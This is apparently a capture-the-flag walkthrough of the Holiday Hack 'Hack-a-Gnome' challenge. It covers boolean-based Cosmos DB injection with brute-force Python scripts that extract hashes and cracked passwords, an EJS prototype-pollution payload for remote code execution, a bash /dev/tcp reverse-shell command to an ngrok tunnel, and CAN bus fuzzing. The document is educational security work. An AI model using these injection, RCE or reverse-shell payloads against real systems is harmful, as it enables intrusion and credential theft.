Introduction

Data Center Navigation

Hack-a-Gnome

Difficulty:
Davis in the Data Center is fighting a gnome army—join the hack-a-gnome fun.

During Acts 1 and 2, the datacenter just had one room open, and Davis says to come back later:

image-20251231101628145
Chris Davis

Chris Davis

Hi, my name is Chris.

I like miniature war gaming and painting minis.

I enjoy open source projects and amateur robotics.

Hiking and kayaking are my favorite IRL activities.

I love single player video games with great storylines.

Swing by again soon. I may have a task that’s perfect for you.

Chat with Chris Davis

Congratulations! You spoke with Chris Davis!

Gnome Hacker (not named in the game, but in the HTML: <div class="ent npc npc-gnomehacker"> and with an avatar named gnome-hacker.png) just says gibberish like the rest of them:

Gnome Hacker

Gnome Hacker

…gnomish nonsense…

In Act 3, another door is open:

image-20251113083605222

This leads to the dark corridors:

image-20251231102312776

The path is very easy to see in the web-socket data (as I covered in 2022 and will exploit a lot more with a TamperMonkey plugin):

image-20251231102549593

There’s only one hallway that leads to an elevator:

image-20251113100019903

Hack-a-Gnome Challenge

I’ll come back to the other door later for the Snowglobe challenge. For now, the elevator leads to the Gnome Factory, where I’ll find Chris Davis beside the Smart Gnome:

image-20251113100125142
Chris Davis

Chris Davis



Hey, I could really use another set of eyes on this gnome takeover situation.

Their systems have multiple layers of protection now - database authentication, web application vulnerabilities, and more!

But every system has weaknesses if you know where to look.

If these gnomes freeze the whole neighborhood, forget about hiking or kayaking—everything will be one giant ice rink. And trust me, miniature war gaming is a lot less fun when your paint freezes solid.

Ready to help me turn one of these rebellious bots against its own kind?

Clicking on the Smart Gnome leads to a web login page.

Website Access

Site Enumeration

The page is a login page:

image-20251113112411256

When I try to login, it just returns the same error no matter what I enter:

image-20251113112439227

Under “Register New Access”, there’s another form:

image-20251113112501678

As I’m typing a username, the form dynamically updates to let me know the name is available:

image-20251113112555832

In Burp I can see if I typed slowly enough it sent a request to check each time the field changed:

image-20251113112638695

If I try to register, it fails:

image-20251113112658753

That response comes from the server:

HTTP/2 200 OK
X-Powered-By: Express
Content-Type: application/json; charset=utf-8
Content-Length: 51
Etag: W/"33-aDxHPoWkY/3o9KUVVOOqA6GQ8t4"
Date: Thu, 13 Nov 2025 16:26:46 GMT
Via: 1.1 google
Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000

{"message":"❌ Registration is currently closed."}

CosmosDB Injection

Leak Database Information

There are three URLs that take user input:

  • POST to /login
  • POST to /register
  • GET to /userAvailable

For either of the POST requests, removing the content type header will crash the server, returning a 500 error that renders as:

image-20251113105350420

That shows the server is running a JavaScript framework. The 404 page (for example /0xdf) returns the default ExpressJS 404:

image-20251231103417688

I’ll try different injections such as single and double quotes in both username and password. For both POST requests, it handles it cleanly. However, for double quote on the /userAvailable endpoint, it crashes:

image-20251113113128712

The database is Microsoft.Azure.Documents.Common version 2.14.0, which is more commonly known as Azure Cosmos DB. Cosmos DB (formerly DocumentDB) uses double quotes for strings in its SQL-like query language.

Azure Documents Injection POC

The query run on /userAvailable is likely something like SELECT * FROM c WHERE c.username = "USER_INPUT". By convention, Microsoft uses c as shorthand for “container” or “collection”. If that is the query, then I’ll play with input to get something that works where I control the output.

For example:

image-20251114093141881

This would make the query:

SELECT * FROM c WHERE c.username = "0xdf" or "1"="1"

Even though 0xdf doesn’t exist, this will still return all users, so available returns “false”. If I change the end to "1"="1, it becomes “true”. This is injection! And a boolean leak that I can exploit.

This is a boolean-based injection. The application tells me if my query returned any results (“available”: false means results exist, true means none). By crafting queries that are true or false based on conditions I control, I can ask yes/no questions about the database and extract data one bit at a time.

Find Field Names

I want to know what field names are present on the current collection. I’ll craft a query that will return true or false based on if a field is defined:

image-20251114093626018

Here I’m checking if user is a property, and it’s not. But username is:

image-20251114093706442

I’ll use ffuf with the burp-parameter-names.txt wordlist from SecLists to try 6,453 different parameters and see which hit. I’ll use the following arguments:

  • -u '[URL]' - The URL along with the injection, putting IS_DEFINED(c.FUZZ) to test different parameters.
  • -w burp-parameter-names.txt - The wordlist of common parameter names to test.
  • -mc 200 - I only want HTTP 200 responses. It seems that numbers crash the server.
  • -fs 18 - I want hide responses that are 18 characters long (then length of {"available":true}). I expect valid hits to have a length of 19.
oxdf@hacky$ ffuf -u 'https://hhc25-smartgnomehack-prod.holidayhackchallenge.com/userAvailable?username=0xdf"+OR+IS_DEFINED(c.FUZZ)+OR"1"="2&id=5c718e73-db34-4210-a8b2-d4c7abfd5645' -w /opt/SecLists/Discovery/Web-Content/burp-parameter-names.txt -mc 200 -fs 18

        /'___\  /'___\           /'___\       
       /\ \__/ /\ \__/  __  __  /\ \__/       
       \ \ ,__\\ \ ,__\/\ \/\ \ \ \ ,__\      
        \ \ \_/ \ \ \_/\ \ \_\ \ \ \ \_/      
         \ \_\   \ \_\  \ \____/  \ \_\       
          \/_/    \/_/   \/___/    \/_/       

       v2.1.0-dev
________________________________________________

 :: Method           : GET
 :: URL              : https://hhc25-smartgnomehack-prod.holidayhackchallenge.com/userAvailable?username=0xdf"+OR+IS_DEFINED(c.FUZZ)+OR"1"="2&id=5c718e73-db34-4210-a8b2-d4c7abfd5645
 :: Wordlist         : FUZZ: /opt/SecLists/Discovery/Web-Content/burp-parameter-names.txt
 :: Follow redirects : false
 :: Calibration      : false
 :: Timeout          : 10
 :: Threads          : 40
 :: Matcher          : Response status: 200
 :: Filter           : Response size: 18
________________________________________________

Category                [Status: 200, Size: 19, Words: 1, Lines: 1, Duration: 4666ms]
ID                      [Status: 200, Size: 19, Words: 1, Lines: 1, Duration: 4633ms]
Id                      [Status: 200, Size: 19, Words: 1, Lines: 1, Duration: 4629ms]
USERNAME                [Status: 200, Size: 19, Words: 1, Lines: 1, Duration: 4885ms]
UserName                [Status: 200, Size: 19, Words: 1, Lines: 1, Duration: 4612ms]
Username                [Status: 200, Size: 19, Words: 1, Lines: 1, Duration: 4617ms]
category                [Status: 200, Size: 19, Words: 1, Lines: 1, Duration: 4550ms]
digest                  [Status: 200, Size: 19, Words: 1, Lines: 1, Duration: 4533ms]
id                      [Status: 200, Size: 19, Words: 1, Lines: 1, Duration: 4539ms]
userName                [Status: 200, Size: 19, Words: 1, Lines: 1, Duration: 4534ms]
username                [Status: 200, Size: 19, Words: 1, Lines: 1, Duration: 4534ms]
:: Progress: [6453/6453] :: Job [1/1] :: 8 req/sec :: Duration: [0:12:21] :: Errors: 0 ::

It seems to be case insensitive, finding category, id, username, and digest.

Get Usernames

Cosmos has the STARTSWITH function. I’ll check if any usernames start with “a”:

image-20251114095041171

No. But “b”:

image-20251114095106600

There is a username starting with “b”! I’ll check “B” and it returns "available":false as well, which suggests this is likely case-insensitive.

I’ll write a short Python script that will brute force usernames to find them all:

# /// script
# requires-python = ">=3.11"
# dependencies = [
#     "requests",
# ]
# ///
import requests
import string


def test_value_startswith(s):
    resp = requests.get(f'https://hhc25-smartgnomehack-prod.holidayhackchallenge.com/userAvailable?username=0xdf"+OR+STARTSWITH(c.username,"{s}")+OR"1"="2&id=5c718e73-db34-4210-a8b2-d4c7abfd5645')
    return resp.json()['available'] == False


def test_value_exact(s):
    resp = requests.get(f'https://hhc25-smartgnomehack-prod.holidayhackchallenge.com/userAvailable?username={s}&id=5c718e73-db34-4210-a8b2-d4c7abfd5645')
    return resp.json()['available'] == False


def get_next_char(start):
    for c in string.ascii_lowercase:
        value = start + c
        print(f'\r{value}' + ' ' * 20, end='')
        if test_value_startswith(value):
            if test_value_exact(value):
                print()
            get_next_char(value)


def main():
    get_next_char('') 


if __name__ == "__main__":
    main()

get_next_char will loop over all the ASCII lowercase letters and see if there’s a value that starts with the current value + that letter. If so, it checks if that’s an exact match and if so prints a newline to save the output on the screen. It then checks for the next letter.

I’m using uv here to run (see my uv cheatsheet), and it finds two users:

oxdf@hacky$ time uv run --script brute_users.py
bruce
harold

real    0m37.859s
user    0m7.420s
sys     0m0.278s

Get Hashes

I can update this script to find the digests as well. For each user it finds, I’ll check for the digest value. The length of the digest is 32:

image-20251114104249581

This means it’s likely an MD5 hash. I’ll start with just lowercase hex characters:

# /// script
# requires-python = ">=3.11"
# dependencies = [
#     "requests",
# ]
# ///
import requests
import string


def test_value_startswith(s):
    url = f'https://hhc25-smartgnomehack-prod.holidayhackchallenge.com/userAvailable?username=0xdf"+OR+STARTSWITH(c.username,"{s}")+OR"1"="2&id=5c718e73-db34-4210-a8b2-d4c7abfd5645'
    return test_value(url)


def test_value_exact(s):
    url = f"https://hhc25-smartgnomehack-prod.holidayhackchallenge.com/userAvailable?username={s}&id=5c718e73-db34-4210-a8b2-d4c7abfd5645"
    return test_value(url)


def test_hash_startswith(s, user):
    url = f'https://hhc25-smartgnomehack-prod.holidayhackchallenge.com/userAvailable?username={user}"+AND+STARTSWITH(c.digest, "{s}")+AND"1"="1&id=5c718e73-db34-4210-a8b2-d4c7abfd5645'
    return test_value(url)


def test_hash_exact(s, user):
    url = f'https://hhc25-smartgnomehack-prod.holidayhackchallenge.com/userAvailable?username={user}"+AND+c.digest="{s}&id=5c718e73-db34-4210-a8b2-d4c7abfd5645'
    return test_value(url)


def test_value(url):
    resp = requests.get(url)
    return resp.json()["available"] == False


def get_next_password_char(start, user):
    for c in string.digits + string.ascii_lowercase[:6]:
        value = start + c
        print(f"\r{user}:{value}", end="")
        if test_hash_startswith(value, user):
            if len(value) == 32:
                print()
                return True
            else:
                if get_next_password_char(value, user):
                    return True


def get_next_char(start):
    for c in string.ascii_lowercase:
        value = start + c
        print(f"\r{value}" + " " * 20, end="")
        if test_value_startswith(value):
            if test_value_exact(value):
                get_next_password_char("", value)
            get_next_char(value)


def main():
    get_next_char("")
    print("\r          ", end="")


if __name__ == "__main__":
    main()

This takes a bit longer to run:

oxdf@hacky$ time uv run --script brute_users.py
bruce:d0a9ba00f80cbc56584ef245ffc56b9e
harold:07f456ae6a94cb68d740df548847f459

real    1m43.379s
user    0m16.515s
sys     0m0.432s

Crack Hashes

Any MD5 hash that’s meant to be cracked in a CTF will be in CrackStation

image-20251114144339633

Now I have two accounts:

bruce:oatmeal12
harold:oatmeal!!

Both work to login to the gnome.

Shell as root

Authenticated Website

Enumeration

The authenticated website shows the “Smart Gnome Control Center”:

image-20251231105917501

On the left is a panel with statistics, and on the right a robot in a room with a series of crates. There’s a power switch at the top right. If I use the arrow keys there’s an error message popup:

image-20251231110018591

If I use the “Update Name” button, I can rename the bot. On refresh, it shows a new name:

image-20251231110337740

HTTP Requests

After authentication, input to the site seems to all be sent as GET requests to /ctrlsignals as URL encoded JSON in the message parameter. For example, updating the name sends:

GET /ctrlsignals?message=%7B%22action%22%3A%22update%22%2C%22key%22%3A%22settings%22%2C%22subkey%22%3A%22name%22%2C%22value%22%3A%220xdfbot%22%7D HTTP/2
Host: hhc25-smartgnomehack-prod.holidayhackchallenge.com
Cookie: connect.sid=s%3AGLIHKwcVJlweJILU-imiHnFrkWT9JSkn.CABKYBFXNw06E7E3gFUUz5ovl8m3vxr6FX7jBkfitjg
User-Agent: Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:146.0) Gecko/20100101 Firefox/146.0
Accept: */*
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate, br
Referer: https://hhc25-smartgnomehack-prod.holidayhackchallenge.com/control
Sec-Fetch-Dest: empty
Sec-Fetch-Mode: cors
Sec-Fetch-Site: same-origin
Priority: u=0
Te: trailers

message decodes to:

{"action":"update","key":"settings","subkey":"name","value":"0xdfbot"}

That one returned an HTTP 200 with the body:

{"type":"message","data":"success","message":"Updated settings.name to 0xdfbot"}

When I try to move with the arrow keys, it sends:

{"action":"move","direction":"down"}

The response is:

{"type":"message","data":"success","message":"Moving down"}

Which indicates success, even though the UI shows an error message.

Prototype Pollution

POC

The update request structure is {"action":"update","key":"..","subkey":"..","value":".."}. This is setting key.subkey = value on some server-side object.

In JavaScript, all objects inherit properties from a prototype chain. When you access obj.property, JavaScript first checks if obj has that property directly, and if not, it looks up the prototype chain. The __proto__ property provides access to an object’s prototype. If an application allows setting arbitrary keys on an object without sanitization, an attacker can set __proto__.someProperty, which pollutes the prototype of all objects in the application. Any code that later checks for someProperty on any object will now find the attacker’s value.

If the server doesn’t properly sanitize the key parameter, I might be able to pollute the object’s prototype. I’ll test by setting __proto__.toString to a bad value and see if it breaks the application:

image-20251114155738439

Now on loading the page:

image-20251114155757973

The server crashes because when it tries to call toString() on any object, it now gets my garbage value instead of a function. This confirms prototype pollution is possible and that the server is running Node.js.

RCE POC

The /stats page renders templates on the server. Node.js applications commonly use EJS (Embedded JavaScript) for templating. EJS has a known prototype pollution gadget: if you pollute __proto__.outputFunctionName, the value gets injected directly into the rendered template code.

This works because EJS generates code like var outputFunctionName = ... and if I can control that value, I can break out of the assignment, execute arbitrary code, and comment out the rest.

I’ll send a payload that runs id:

{"action":"update","key":"__proto__","subkey":"outputFunctionName","value":"x;return global.process.mainModule.require('child_process').execSync('id').toString();//"}
image-20251231112858606

On refreshing stats, it just shows up blank:

image-20251231113444316

That refresh sends a GET to /stats. Instead of returning HTML, it’s sending the output of the command:

image-20251231113507786

That’s command execution on the server.

Shell

Tunnel

My computer and VMs are all behind at least one layer of NAT, which means they can’t be reached directly from the internet (or from the Hack-a-Gnome webserver). I’ll use Ngrok to create a tunnel. I keep my ngrok.yaml file (in ~/.config/ngrok/) set with two pre-configured tunnels:

version: "3"
agent:
  authtoken: [redacted]

tunnels:
  web:
    proto: http
    addr: 80
  shell:
    proto: tcp
    addr: 443

Now ngrok start --all will start two tunnels, one serving HTTP and forwarding to port 80 on my machine, and one as a TCP listener forwarding to port 443 on my machine:

image-20251231115604903

Reverse Shell

One issue with the RCE payload is that execSync is synchronous. If I run a reverse shell with it, it blocks the Node.js event loop and the website stops responding. To avoid this, I’ll use exec instead, which is asynchronous. The shell runs in the background and the template still renders.

I’ll send the following to update the RCE to create a bash reverse shell:

{"action":"update","key":"__proto__","subkey":"outputFunctionName","value":"x;global.process.mainModule.require('child_process').exec('bash -c \"bash -i >& /dev/tcp/[ngrok-tcp-host]/[port] 0>&1\"');return '';//"}

I found I was most successful with this payload in Repeater when I highlight the entire thing, right click, “Convert selection” –> URL –> “URL-encode all characters”

Now with nc listening on 443, I’ll refresh the stats, and I get a connection:

oxdf@hacky$ nc -lvnp 443
Listening on 0.0.0.0 443
Connection received on 127.0.0.1 49246
bash: cannot set terminal process group (1): Inappropriate ioctl for device
bash: no job control in this shell
root@d52f44db4569:/app#

I’ll do a shell upgrade using the standard trick:

root@d52f44db4569:/app# script /dev/null -c bash
script /dev/null -c bash
Script started, output log file is '/dev/null'.
root@d52f44db4569:/app# ^Z
[1]+  Stopped                 nc -lvnp 443
oxdf@hacky$ stty raw -echo; fg
nc -lvnp 443
            reset
reset: unknown terminal type unknown
Terminal type? screen
root@d52f44db4569:/app# 

Fix Canbus Script

Enumeration

Webserver

The reverse shell starts in the /app directory, which has a series of files:

root@d52f44db4569:/app# ls
README.md         node_modules       package.json  views
canbus_client.py  package-lock.json  server.js

server.js is the webserver for the Node.js application. README.md has documentation for the CAN bus protocol. canbus_client.py is the Python script that sends movement commands to the gnome controller.

server.js

The webserver is an Express application using EJS for templating:

const express = require('express');
const { exec } = require('child_process');
const app = express();

app.set('view engine', 'ejs');

It maintains a global object to store gnome settings:

const gnomeBotObjectDetails = {
    settings: {
        name: gnomebotname,
        model_version: "2.3.8",
        firmware_version: "GNM-4.12.0",
    },
}

The /ctrlsignals endpoint gets to a switch statement based on the action parameter:

app.get('/ctrlsignals', (req, res) => {
    const requestPayload = JSON.parse(decodeURIComponent(req.query.message));
    res.setHeader('Cache-Control', 'no-store, no-cache, must-revalidate, proxy-revalidate');
    res.setHeader('Pragma', 'no-cache');
    res.setHeader('Expires', '0');                          
    // Check if the request payload is valid
    if (!requestPayload || !requestPayload.action) {
        console.error("Invalid request payload");
        res.status(400).send('Invalid request payload');
        return;                       
    }                                                    
    // Handle the control signal
    switch (requestPayload.action) {  

It handles two actions. The update action modifies the settings object:

case 'update':
    const { key, subkey, value } = requestPayload;
    gnomeBotObjectDetails[key][subkey] = value;
    res.send(JSON.stringify({ type: "message", data: "success", message: `Updated ${key}.${subkey} to ${value}` }));
    break;

This is the code that’s vulnerable to prototype pollution - there’s no validation that key isn’t __proto__ or constructor.

The move action calls the Python script:

case 'move':
    const direction = requestPayload.direction;
    const command = `/usr/bin/python3 /app/canbus_client.py "${direction}"`;
    exec(command, (error, stdout, stderr) => {
        if (error) {
            console.error(`Error executing command: ${error.message}`);
            return;
        }
        console.log(`Command stdout: ${stdout}`);
    });
    res.send(JSON.stringify({ type: "message", data: "success", message: `Moving ${direction}` }));
    break;

Because it’s using exec and not execSync, the server returns the success message immediately after spawning the Python process, which is why the web UI says “success” even when the gnome doesn’t actually move.

Based on the requests observed already, when it calls the canbus_client.py, it will pass “up”, “down”, “left”, or “right”.

canbus_client.py

The Python script uses the python-can library to send movement commands over the CAN bus. It connects to an interface named gcan0:

import can

IFACE_NAME = "gcan0"

bus = can.interface.Bus(channel=IFACE_NAME, interface='socketcan', receive_own_messages=False)

The send_command function creates a CAN message with the given ID and sends it:

def send_command(bus, command_id):
    """Sends a CAN message with the given command ID."""
    message = can.Message(
        arbitration_id=command_id,
        data=[],
        is_extended_id=False
    )
    try:
        bus.send(message)
        print(f"Sent command: ID=0x{command_id:X}")
    except can.CanError as e:
        print(f"Error sending message: {e}")

The command IDs are defined in a map at the top:

# Define CAN IDs (I think these are wrong with newest update, we need to check the actual device documentation)
COMMAND_MAP = {
    "up": 0x656,
    "down": 0x657,
    "left": 0x658,
    "right": 0x659,
}

Even the comment says these IDs are wrong! I need to find the correct ones.

There’s also a listen mode that monitors the bus for incoming messages:

def listen_for_messages(bus):
    """Listens for CAN messages and prints them."""
    print(f"Listening for messages on {bus.channel_info}. Press Ctrl+C to stop.")
    for msg in bus:
        timestamp = datetime.datetime.now().strftime('%Y-%m-%d %H:%M:%S.%f')[:-3]
        print(f"{timestamp} | Received: {msg}")

This will be useful for debugging what’s happening on the CAN bus.

README.md

The README has documentation for the CAN bus protocol. It explains that all communication happens on the gcan0 interface with multi-byte values sent big endian.

The documentation shows a request/response pattern for data queries. The client sends a request to an ID in the 0x4xx range, and the GnomeBot responds on the corresponding 0x3xx ID:

Request ID Response ID Description
0x400 0x300 Battery voltage
0x410 0x310 Motor speed (left)
0x460 0x360 System temperature
0x470 0x370 GPS fix status
0x4C0 0x3C0 Payload status

There’s also a long list of periodic status messages that the GnomeBot sends automatically (motor speeds, sonar distances, IMU data, WiFi status, etc.) all in the 0x3xx range.

However, the movement commands are listed as TODO:

## 🛠️ Movement Commands & Acknowledgments (Client <-> GnomeBot)

TODO: There are more signals related to controlling the GnomeBot's movement
(Up/Down/Left/Right) and the acknowledgments sent back by the bot.
These involve CAN IDs that are not totally settled yet. We are still polishing
the documentation for these - check back after eggnog break!

So the IDs in canbus_client.py (0x656-0x659) aren’t documented anywhere. I need another way to find the correct ones.

Find IDs Via Fuzz

Feedback via Website

I’m going to send some canbus messages with IDs to see if I can get a response. The first question is how can I tell if I got a match? I’ll set up my view so that I have my shell in half the window and the website with the robot in the other half. Then I’ll open a Python REPL and import can and set up the bus:

root@c97a504c8770:/app# python3
Python 3.10.12 (main, Nov  4 2025, 08:48:33) [GCC 11.4.0] on linux
Type "help", "copyright", "credits" or "license" for more information.
>>> import can, time
>>> bus = can.interface.Bus(channel='gcan0', interface='socketcan')

Now I’ll send a command:

>>> msg = can.Message(arbitration_id=0x001, data=[], is_extended_id=False)
>>> bus.send(msg) 

As soon as I do, there’s a message on the website:

image-20251231135916736

That’s great news, as it means I can send and watch for commands that do something.

Fuzz Range

Based on the README.md, there are requests in the 0x400s and responses in the 0x300s. The “bad” IDs are in the 0x600s. So I will check for others in the 0x400s, others in the 0x600s, and then start with ranges like 0x100s, 0x200s, etc.

I’ll use a loop like:

>>> for i in range(0x400, 0x500):                                          
...     msg = can.Message(arbitration_id=i, data=[], is_extended_id=False)
...     bus.send(msg)                                                      
...     time.sleep(0.3)                                                    
...     print(f"sent {hex(i)}")                                            
...       
sent 0x400
sent 0x401
sent 0x402
...[snip]...

Watching for a minute I’m able to see a couple IDs that don’t raise an error, but nothing that moves the robot. When I try the 0x200 range, I get movement!

image-20251231140618535

After breaking the loop, I test 0x201 individually and confirm it moves up:

>>> msg = can.Message(arbitration_id=0x201, data=[], is_extended_id=False)
>>> bus.send(msg) 

This moves back up to the starting spot:

image-20251231140809995

0x202 is down:

>>> msg = can.Message(arbitration_id=0x202, data=[], is_extended_id=False)
>>> bus.send(msg) 

Back down again:

image-20251231140837575

0x203 is left:

>>> msg = can.Message(arbitration_id=0x203, data=[], is_extended_id=False)
>>> bus.send(msg) 
image-20251231140906758

And 0x204 is right:

>>> msg = can.Message(arbitration_id=0x204, data=[], is_extended_id=False)
>>> bus.send(msg)  
image-20251231140932282

Find IDs Via Reverse Engineering

Find gnome_controller

Something is receiving these CAN bus messages. ps aux shows the running processes:

root@c97a504c8770:/app# ps auxww
USER         PID %CPU %MEM    VSZ   RSS TTY      STAT START   TIME COMMAND
root           1  0.2  0.0 1149248 9192 ?        Ssl  18:48   0:03 /app/gnome_cancontroller
root          20  0.0  0.0   4364  3236 ?        S    18:48   0:00 bash -c /usr/sbin/sshd -D & node server.js 2>&1 > /tmp/node.log
root          22  0.0  0.0  15436  8940 ?        S    18:48   0:00 sshd: /usr/sbin/sshd -D [listener] 0 of 10-100 startups
root          23  0.0  0.3 703976 56804 ?        Sl   18:48   0:00 node server.js
root          34  0.0  0.0   2892  1004 ?        S    18:48   0:00 /bin/sh -c bash -c "bash -i >& /dev/tcp/0.tcp.ngrok.io/17709 0>&1"
root          35  0.0  0.0   4364  3280 ?        S    18:48   0:00 bash -c bash -i >& /dev/tcp/0.tcp.ngrok.io/17709 0>&1
root          36  0.0  0.0   4628  3840 ?        S    18:48   0:00 bash -i
root          39  0.0  0.0   2808  1100 ?        S    18:49   0:00 script /dev/null -c bash
root          40  0.0  0.0   2892   964 pts/0    Ss   18:49   0:00 sh -c bash
root          41  0.0  0.0   4628  3952 pts/0    S+   18:49   0:00 bash
root          51  0.0  0.0   2892   956 ?        S    19:15   0:00 /bin/sh -c bash -c "bash -i >& /dev/tcp/0.tcp.ngrok.io/17709 0>&1"
root          52  0.0  0.0   4364  3252 ?        S    19:15   0:00 bash -c bash -i >& /dev/tcp/0.tcp.ngrok.io/17709 0>&1
root          53  0.0  0.0   4628  3852 ?        S    19:15   0:00 bash -i
root          56  0.0  0.0   2808  1120 ?        R    19:15   0:00 script /dev/null -c bash
root          57  0.0  0.0   2892   972 pts/1    Ss   19:15   0:00 sh -c bash
root          58  0.0  0.0   4628  3780 pts/1    S    19:15   0:00 bash
root          62  0.0  0.0   7064  1560 pts/1    R+   19:15   0:00 ps auxww

PID 1 is /app/gnome_cancontroller, which seems like a really good candidate for what is controlling the gnome via CANbus. However, the file doesn’t exist:

root@c97a504c8770:/app# ls -la /app/gnome_cancontroller
ls: cannot access '/app/gnome_cancontroller': No such file or directory

The file doesn’t exist on disk, but the process is running. This can happen when the binary was deleted after the process started.

Recovery / Exfil Binary

Even though the file is deleted, the binary is still accessible via the /proc filesystem. It looks like a link to the original location:

root@c97a504c8770:/proc/1# ls -l exe
lrwxrwxrwx 1 root root 0 Dec 31 19:17 exe -> '/app/gnome_cancontroller (deleted)'

But If I access it, it’s still there:

root@c97a504c8770:/proc/1# cat exe | xxd | head
00000000: 7f45 4c46 0201 0100 0000 0000 0000 0000  .ELF............
00000010: 0200 3e00 0100 0000 6037 4600 0000 0000  ..>.....`7F.....
00000020: 4000 0000 0000 0000 7002 0000 0000 0000  @.......p.......
00000030: 0000 0000 4000 3800 0a00 4000 2400 0900  ....@.8...@.$...
00000040: 0600 0000 0400 0000 4000 0000 0000 0000  ........@.......
00000050: 4000 4000 0000 0000 4000 4000 0000 0000  @.@.....@.@.....
00000060: 3002 0000 0000 0000 3002 0000 0000 0000  0.......0.......
00000070: 0010 0000 0000 0000 0300 0000 0400 0000  ................
00000080: e40f 0000 0000 0000 e40f 4000 0000 0000  ..........@.....
00000090: e40f 4000 0000 0000 1c00 0000 0000 0000  ..@.............

I could exfil it via nc, or just base64 encode it and copy it out.

Reverse Engineering

The binary is a Go Linux ELF executable:

oxdf@hacky$ file gnome_controller 
gnome_controller: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, Go BuildID=7EfvgHaebxiH3v_LswsB/snSuwBhQ3Wi-kgV68SLU/YnG3kmsMhkFEWYPhYUcC/BcIju6Z6Zzi8fCwdBqoT, not stripped

I’ll open the binary in Ghidra. There are several functions in the main package that look interesting:

image-20251231142310773

main.init sets up two command maps, one named main.commandAckMap, and the other named main.requestDataMap:

image-20251115105453358

The second half lines up with the ACK IDs from the README. The first ones are the ACK IDs for movement. The decompiled code is messy (Go binaries often are), but the assembly is clear. For each map entry, Go’s runtime_mapassign_fast32 is called with the key in ECX, and then the value is written to the returned address:

004f31a5 b9 01 02        MOV        ECX,0x201
         00 00
004f31aa 48 8d 05        LEA        RAX,[DAT_00508f80]                               = 00000008h
         cf 5d 01 00
004f31b1 e8 6a e6        CALL       runtime.mapassign_fast32                         undefined runtime.mapassign_fast
         f1 ff
004f31b6 c7 00 81        MOV        dword ptr [RAX]=>DAT_00508f80,0x281              = 00000008h
         02 00 00
004f31bc 48 8d 05        LEA        RAX,[DAT_00508f80]                               = 00000008h
         bd 5d 01 00
004f31c3 48 8b 5c        MOV        RBX,qword ptr [RSP + local_10]
         24 20
004f31c8 b9 02 02        MOV        ECX,0x202
         00 00
004f31cd e8 4e e6        CALL       runtime.mapassign_fast32                         undefined runtime.mapassign_fast
         f1 ff
004f31d2 c7 00 82        MOV        dword ptr [RAX]=>DAT_00508f80,0x282              = 00000008h
         02 00 00
004f31d8 48 8d 05        LEA        RAX,[DAT_00508f80]                               = 00000008h
         a1 5d 01 00
004f31df 48 8b 5c        MOV        RBX,qword ptr [RSP + local_10]
         24 20
004f31e4 b9 03 02        MOV        ECX,0x203
         00 00
004f31e9 e8 32 e6        CALL       runtime.mapassign_fast32                         undefined runtime.mapassign_fast
         f1 ff
004f31ee c7 00 83        MOV        dword ptr [RAX]=>DAT_00508f80,0x283              = 00000008h
         02 00 00
004f31f4 48 8d 05        LEA        RAX,[DAT_00508f80]                               = 00000008h
         85 5d 01 00
004f31fb 48 8b 5c        MOV        RBX,qword ptr [RSP + local_10]
         24 20
004f3200 b9 04 02        MOV        ECX,0x204
         00 00
004f3205 e8 16 e6        CALL       runtime.mapassign_fast32                         undefined runtime.mapassign_fast
         f1 ff
004f320a c7 00 84        MOV        dword ptr [RAX]=>DAT_00508f80,0x284              = 00000008h
         02 00 00

This is the commandAckMap - it maps movement command IDs (0x201-0x204) to their acknowledgment responses (0x281-0x284).

Later in the function, the requestDataMap is initialized with the same IDs from the README:

004f3245 b9 00 04        MOV        ECX,0x400
         00 00
004f324a 48 8d 05        LEA        RAX,[DAT_00508f80]                               = 00000008h
         2f 5d 01 00
004f3251 e8 ca e5        CALL       runtime.mapassign_fast32                         undefined runtime.mapassign_fast
         f1 ff
004f3256 c7 00 00        MOV        dword ptr [RAX]=>DAT_00508f80,0x300              = 00000008h
         03 00 00
004f325c 48 8d 05        LEA        RAX,[DAT_00508f80]                               = 00000008h
         1d 5d 01 00
004f3263 48 8b 5c        MOV        RBX,qword ptr [RSP + local_18]
         24 18
004f3268 b9 70 04        MOV        ECX,0x470
         00 00
004f326d e8 ae e5        CALL       runtime.mapassign_fast32                         undefined runtime.mapassign_fast
         f1 ff
004f3272 c7 00 70        MOV        dword ptr [RAX]=>DAT_00508f80,0x370              = 00000008h
         03 00 00
004f3278 48 8d 05        LEA        RAX,[DAT_00508f80]                               = 00000008h
         01 5d 01 00
004f327f 48 8b 5c        MOV        RBX,qword ptr [RSP + local_18]
         24 18
004f3284 b9 10 04        MOV        ECX,0x410
         00 00
004f3289 e8 92 e5        CALL       runtime.mapassign_fast32                         undefined runtime.mapassign_fast
         f1 ff
004f328e c7 00 10        MOV        dword ptr [RAX]=>DAT_00508f80,0x310              = 00000008h
         03 00 00
004f3294 48 8d 05        LEA        RAX,[DAT_00508f80]                               = 00000008h
         e5 5c 01 00
004f329b 48 8b 5c        MOV        RBX,qword ptr [RSP + local_18]
         24 18
004f32a0 b9 60 04        MOV        ECX,0x460
         00 00
004f32a5 e8 76 e5        CALL       runtime.mapassign_fast32                         undefined runtime.mapassign_fast
         f1 ff
004f32aa c7 00 60        MOV        dword ptr [RAX]=>DAT_00508f80,0x360              = 00000008h
         03 00 00
004f32b0 48 8d 05        LEA        RAX,[DAT_00508f80]                               = 00000008h
         c9 5c 01 00
004f32b7 48 8b 5c        MOV        RBX,qword ptr [RSP + local_18]
         24 18
004f32bc b9 c0 04        MOV        ECX,0x4c0
         00 00
004f32c1 e8 5a e5        CALL       runtime.mapassign_fast32                         undefined runtime.mapassign_fast
         f1 ff
004f32c6 c7 00 c0        MOV        dword ptr [RAX]=>DAT_00508f80,0x3c0              = 00000008h
         03 00 00

The fact that these match the README documentation confirms I’m looking at the right code. The movement commands are 0x201, 0x202, 0x203, and 0x204.

Fix Script

I’ll open canbus_client.py and edit the COMMAND_MAP at the top:

COMMAND_MAP = {
    "up": 0x201,
    "down": 0x202,
    "left": 0x203,
    "right": 0x204,
    # Add other command IDs if needed
}

Now the arrow keys in the game work to move the robot!

Solve Puzzle

The challenge that remains is a classic box-push game. I can push a box if the space behind it is open for it to slide into. To solve, I’ll go down and then slide a box left:

image-20251231144845595

Now I’ll go down and then slide left again:

image-20251231144918088

Next is down and then push right:

image-20251231144950888

Down two:

image-20251231145038294

Now left three:

image-20251231145103056

Then up and push left:

image-20251231145133859

Then up left again:

image-20251231145211200

